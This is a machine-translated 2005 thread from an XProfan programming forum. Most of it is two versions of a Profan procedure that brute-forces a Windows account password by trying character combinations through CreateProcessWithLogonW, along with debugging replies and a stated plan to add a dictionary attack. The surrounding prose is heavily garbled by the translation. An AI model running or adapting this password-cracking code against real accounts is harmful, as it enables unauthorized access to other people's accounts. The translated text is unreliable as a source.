English
Regulars table & Café

MASM32 and Profan

 
- Page 1 -


Ha someone something genauere data circa how much MASM32 faster is as Profan? If the time someone tested?
 
01/28/05  
 



 
- Page 2 -


Hello Frank...

best Thanks, that You you whom code already time respected have. there have I me wirlich some Anfängerschnitzer installed.
- a Variablennamen wrong written,
- a superfluous addition drin,
- XP Neuerungen not bedacht,
- Variable not correctly. deleted

i will time hoping, that the Message for Buttonabfrage XP not changed has (there are In any drop values dazugekommen) - otherwise nimm to hardship in Profan @GETFOCUS. I had me really think can, that the so not works => your Problem with the ToolTipps XP.

The Error Message with CreateProcessWithLogonW was something komplizierter. If one not each time before dien Content the two last Parameter deletes, can it vorkommen (according to the, what next Text in the code standing), that these variables with Sinnlosem code filled go. tappt im dunkeln must therefore each time to the Calling the function on zero staid go (stood already in the View source).

i will time hoping the it now too with you functions what about me not yet More Mist installed have:
The procedure PWCHECK should in The DLL

Proc PWCHECK

    Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
    1.Parameter=To startendes Program
    2.Parameter=name the Users which Password determined go should
    3.Parameter=lever the Abbruchbuttons on the Mainwindow
    4.Parameter=which letters as first letters settle (big-/Kleinschreibung)?
    5.Parameter=which letters for The others letters in the word settle (Kleinschreibung)
    6.Parameter=Password, if already famous
    7.Parameter=where should the Password outputted go?
    8.Parameter=amount the durchzurechnenden letters
    DECLARE COUNT%,counter%[41]
    Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declare lpStartupinfo#,lpProcessInformation#
    Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declare Anfangszeichen#,characters#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM characters#,300
    with the LSA particularly important - any variables with zero fill
    Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,characters#
    @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Strings go in reaches written
    String Anfangszeichen#,0=Anfangszeichen$
    String characters#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In these API stick I Usernamen and get The Domain and whom SID out
    @External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    I need a Unicode String and dimensioniere The Variable for whom Domain String properly
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    LET StartZeit$=@TIME$(0) can possibly lane
    LET STARTDATUM$=@DATE$(0) can possibly lane
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    I wandele here The Strings in Unicode Strings circa
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET counter%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Long lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0) Streichen
        forty letters reicht

        IF COUNT%>Buchstabenanzahl&

            LET ENDE%=1

        endif

        If in the Mainwindow discontinue pressed watts should exits go

        IF @sendmessage(Button&,$00F2,0,0)=108

            Messagebox would beautiful, must but not his
            LET PANTWORT%=@MESSAGEBOX("Test is in the moment with "+@STRING$(pw#,0)+".
            Test watts on the "+STARTDATUM$+" circa "+StartZeit$+" launched.","want tappt im dunkeln whom Test really Cancel?",292)
            CASE PANTWORT%=6 : LET ENDE%=1

        ENDIF

        SET("FastMode",1)
        any possible Bustabenkombinationen should stampeded go

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,counter%[COUNT%]-1)

            else

                LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET counter%[COUNT%]=1
                    BYTE pw#,COUNT%=counter%[COUNT%]
                    INC COUNT%
                    LET counter%[COUNT%]=counter%[COUNT%]+1
                    LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)

                WEND

            else

                LET counter%[COUNT%]=counter%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        I need again a Unicode String
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        The function gives only 1 back, if the Password correctly. was
        SET("FastMode",0)
        @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
        @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Long lpStartupInfo#,0=68
        LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

the should not in The DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput

WEND

Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0

No, it go no letters abgehakt sonder over ands over again turned. the whole is nothing other as count, here but not binary-, Octal- or Hexalsystem sonder here with 26 To maximum 255 unterschiedlichen Zuständen per place.
 
01/30/05  
 




Frank
Abbing
Hi,

[quote:806there4d370]No, it go no letters abgehakt sonder over ands over again turned. the whole is nothing other as count, here but not binary-, Octal- or Hexalsystem sonder here with 26 To maximum 255 unterschiedlichen Zuständen per place.[/quote:806there4d370]
Yes, understood.

your Progrämmchen finds as always nothing. The discontinue-Button has too no effect.
Have momentarily not plenty Time, but I mach the Assemblersuchen ready, if it again goes.
 
01/30/05  
 



Hello Frank...

you mußt your Accountnamen prompt, not whom names, whom you WindowsXP indicating. look time in the Ordner Dokunente and Settings to whom there vorhandenen Verzeichnisnamen, the are The among other things The Accountnamen. Also I had yet a incorrect Parameter with MultiByteToWideChar drin. The 2 must lane and a 0 mere (I change it supra).
here time yet what with Anzeigeoption:
The procedure PWCHECK should in The DLL

Proc PWCHECK

    Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
    1.Parameter=To startendes Program
    2.Parameter=name the Users which Password determined go should
    3.Parameter=lever the Abbruchbuttons on the Mainwindow
    4.Parameter=which letters as first letters settle (big-/Kleinschreibung)?
    5.Parameter=which letters for The others letters in the word settle (Kleinschreibung)
    6.Parameter=Password, if already famous
    7.Parameter=where should the Password outputted go?
    8.Parameter=amount the durchzurechnenden letters
    DECLARE COUNT%,counter%[41]
    Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
    Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
    Declare lpStartupinfo#,lpProcessInformation#
    Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
    Declare Anfangszeichen#,characters#,PLUS%
    DIM DOMAINN#,256
    DIM SIDT#,4
    DIM SIDS#,4
    DIM DNSize#,4
    DIM SIDAN#,800
    DIM PHTOKEN#,4
    Dim lpStartupInfo#,68
    Dim lpProcessInformation#,16
    DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
    DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
    DIM PPASSWORT#,256
    DIM Anfangszeichen#,300
    DIM characters#,300
    with the LSA particularly important - any variables with zero fill
    Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
    Clear PPROGRAMM#,PPASSWORT#,Anfangszeichen#,characters#
    @External("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
    @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
    Strings go in reaches written
    String Anfangszeichen#,0=Anfangszeichen$
    String characters#,0=Zeichen_im_Wort$
    LONG DNSize#,0=256
    LONG SIDS#,0=800
    In these API stick I Usernamen and get The Domain and whom SID out
    @External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
    LET NDOMAIN$=@STRING$(DOMAINN#,0)
    I need a Unicode String and dimensioniere The Variable for whom Domain String properly
    DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
    DIM PW#,256
    CLEAR PW#
    LET COUNT%=0
    I wandele here The Strings in Unicode Strings circa
    LET ACP&=@EXTERNAL("kernel32","GetACP")
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
    @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
    LET counter%[0]=1
    LET COUNT%=0
    LET BYTE%=0
    Long lpStartupInfo#,0=68

    WHILENOT ENDE%

        SET("FastMode",0)

        IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)

            LET ENDE%=1

        ENDIF

        SET("FastMode",1)

        IF PWWORT$=""

            IF Count%=0

                LET BYTE%=@BYTE(Anfangszeichen#,counter%[COUNT%]-1)

            else

                LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)

            endif

            IF BYTE%=0

                WHILE BYTE%=0

                    LET counter%[COUNT%]=1
                    BYTE pw#,COUNT%=counter%[COUNT%]
                    INC COUNT%
                    LET counter%[COUNT%]=counter%[COUNT%]+1
                    LET BYTE%=@BYTE(characters#,counter%[COUNT%]-1)

                WEND

            else

                LET counter%[COUNT%]=counter%[COUNT%]+1

            endif

            BYTE pw#,COUNT%=BYTE%

        ELSE

            String pw#,0=PWWORT$
            LET ENDE%=1

        endif

        LET PW2$=@STRING$(pw#,0)
        LET COUNT%=0
        @EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
        CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
        @External("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
        Long lpStartupInfo#,0=68
        LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)

        IF FERGEBNIS&=1

            LET ENDE%=1
            LET PW$=@STRING$(PW#,0)

        ENDIF

    wend

    SET("FastMode",0)
    DISPOSE PW#
    DISPOSE DOMAINN#
    DISPOSE SIDT#
    DISPOSE DNSize#
    DISPOSE SIDAN#
    DISPOSE PHTOKEN#
    DISPOSE SIDS#
    DISPOSE lpStartupInfo#
    DISPOSE lpProcessInformation#
    Settext Ausgabefenster&,PW$

ENDPROC

the should not in The DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0

Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)

    Waitinput
    Case %MENUITEM=-2 : END

WEND

Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Locate 20,0
Print "Function watts on the "+@Date$(1)+" circa "+@TIME$(0)+" watch launched..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText$(Ba&),@GetText$(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
 
01/30/05  
 



alas Yes...

BUTTON :roll:

moreover time one Test:
cls
Declare Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)

While 0=0

    DrawText 0,100,@st$(@sendmessage(Button&,$00F2,0,0))+"                          "
    sleep 10

wend


The Message asks whom status the Buttons ex. following values gives tappt im dunkeln by me back:
- Button not gedrückt=0
- Mauscursor lying on Button=keine Änderung
- Button gedrückt=108
- Focus lying on Button=8
- Focus lying not Button=0

I have whom suspicion the XProfan with Manifesto here others and yet More values zurückgiebt. if so, might the too the reason for the Tooltipp trouble XP his...
 
01/30/05  
 




Frank
Abbing
Hi,

but The Tooltippgeschichte becomes still Windows manages...
 
01/30/05  
 



[quote:c026f5ex54]
but The Tooltippgeschichte becomes still Windows manages...
[/quote:c026f5ex54]
The status the Buttons still too, or? I go time integrally heavy of it from, that the status the Buttons, if it not yet pressed watts and the Mauscursor on it rest not 512 is - is the right?
very there lying well the Problem with the Tooltipps - I kanns unfortunately not testing, but I think I Have right.

PS: Entfern the Manifesto and my View source runs.
 
01/30/05  
 




Frank
Abbing
Hi,

You irrst you. he's then 512. How already written
Have whom MASM-code ready and poste it same.
 
01/30/05  
 




Frank
Abbing
Hi,

so, here the Testprogramm. Passwörter must Großbuchstaben his. The times to that calculate tile itself with the Values from the Webpage, The iF here posted having, for 26it Passwörter.

The Assemblercode is not yet optimiert and using to that comparison the Strings The API lstrcmp(), The but very quick operates.

2 kB
Hochgeladen:01/30/05
Downloadcounter158
Download
 
01/30/05  
 



 
- Page 3 -



Rolf
Koch
Hi AH,

[quote:2bf116be6f]
Entfern the Manifesto and my View source runs
[/quote:2bf116be6f]
circa Gottes sake - points You really How mean the old solid Windows looks, if one of Win 9x on XP umgestiegen is.
In my eyes is the Manifesto one the important items the windows Neuerungen.

I lach me dead, if I today The globigen viereckigen boring Buttons see. gives designtechnisch nothing schlimmeres.

Aufm MAC was before already schöner. levelly and Hovermässig. freshly as here the community.

Rolf
 
01/30/05  
 



Hallöchen Rolf...

i think time, one ought to itself zumindestens very very so explain what there very verbogen becomes - and How one here sees shine the integrally fundamental things To his...
 
01/30/05  
 




Rolf
Koch
...
there give I you naturally utterly right, AH.
I have it Yes only from visibility the Designs and not from visibility the Ablaufs seen.
is hold Schade, that the Manifesto too others Messages auslöst.

Rolf
 
01/30/05  
 



Hello Frank...

best Thanks for your Test DLL. the was very the, I first once used have. one could means until fifth letters over a MASM DLL weg and thereafter the Password with Wörtern a Wörterbuch beschießen. I have now something longer Fortbildung and night shift, thereafter I will me a Program begeben, the me automatically Wörter for this Wörterbuch collecting.

@Rolf: what nützt the most beautiful solid if Buttons, Tooltipps and Groupboxes not any more functions because the Rückgaben of Messages simply moved go?
 
01/31/05  
 




Answer


Topictitle, max. 100 characters.
 

Systemprofile:

no Systemprofil laid out. [anlegen]

XProfan:

 Posting  Font  Smilies  ▼ 

Please register circa a Posting To verfassen.
 

Topic-Options

25.716 Views

Untitledvor 0 min.

Themeninformationen



Admins  |  AGB  |  Applications  |  Authors  |  Chat  |  Privacy Policy  |  Download  |  Entrance  |  Help  |  Merchantportal  |  Imprint  |  Mart  |  Interfaces  |  SDK  |  Services  |  Games  |  Search  |  Support

One proposition all XProfan, The there's!


My XProfan
Private Messages
Own Storage Forum
Topics-Remember-List
Own Posts
Own Topics
Clipboard
Log off
 Deutsch English Français Español Italia
Translations

Privacy Policy


we use Cookies only as Session-Cookies because of the technical necessity and with us there no Cookies of Drittanbietern.

If you here on our Website click or navigate, stimmst You ours registration of Information in our Cookies on XProfan.Net To.

further Information To our Cookies and moreover, How You The control above keep, find You in ours nachfolgenden Datenschutzerklärung.


all rightDatenschutzerklärung
i want none Cookie